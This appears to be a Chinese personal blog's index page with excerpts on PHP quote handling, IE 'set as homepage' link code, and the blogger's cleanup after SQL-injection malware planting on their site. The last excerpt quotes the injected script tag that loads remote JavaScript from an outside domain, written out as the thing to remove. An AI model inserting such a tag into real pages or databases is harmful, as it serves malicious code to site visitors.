" "双引号里面的字段会经过编译器解释，让程序被检查是不是有变量，然后再当作HTML代码输出。用到变量的时候用双引号才可以被编译，才可以替代成变量的值。

‘ ‘单引号里面的不进行解释，直接输出。直接将程序给显示出来。\n等要也是要双引号的,用单引号就直接输出\n了。

例如：
$a=’I am Bruce’;
echo $a //结果是:I am Bruce
echo ‘$a’ //结果是:$a
echo "$a" //结果是:I am Bruce

Read more…

有很多代码可以形成简单的功能模块，是可以灵活应用的！就比如我上次提到的右键防复制代码！以下代码在使用的时候请注意代码中的引号是否英文模式下书写！

设置为首页的方法为：
<a href=# onClick="this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘URL’);event.returnValue=false;">设为首页</a>
URL就是你要设定的网址

要设置当前网页的地址为首页,你可以这样：
<a href=# onClick="this.style.behavior=’url(#default#homepage)’;this.setHomePage(document.location.href);event.returnValue=false;">设为首页</a>
上述方法采用javascript的document.location对象的href属性来获得当前网页的全路径。

同理，如果您只想将当前网页所在的域名地址设为首页，您只需将document.location.href改为document.location.host即可。示例如下：
<a href=# onClick="this.style.behavior=’url(#default#homepage)’;this.setHomePage(document.location.host);event.returnValue=false;">设为首页</a>
说明：如果当前网页的地址为：http://brucehan.com/archives/333，则会将当前网页的域名地址（www.brucehan.com）设为首页。

Read more…

终于在我稀里糊涂乱搞一通的操作之下，它! 烟消云散了……我对SQL不熟悉，对SQL SERVER 2000-2008就更不熟悉了！还是新网告诉我的……上次Ewebeditor漏洞挂马我还记忆犹新，这次又来！

我再吼一遍：不要轻易把你的马子挂到我的网站上！

挂马原理：通过网站程序漏洞SQL数据库注入挂马，一般的防注入代码貌似无效！

我的清除办法：首先是数据库批量清除<script src=http://3b3.org/c.js> </script>，这玩意儿太毒了，基本上数据库字符串型表都被加上了它！在SQL server2008 Management Studio里新建查询，然后贴上下面的代码清除数据库里的现有代码。执行之……我也不知道怎的……就可以了……好神奇！

Read more…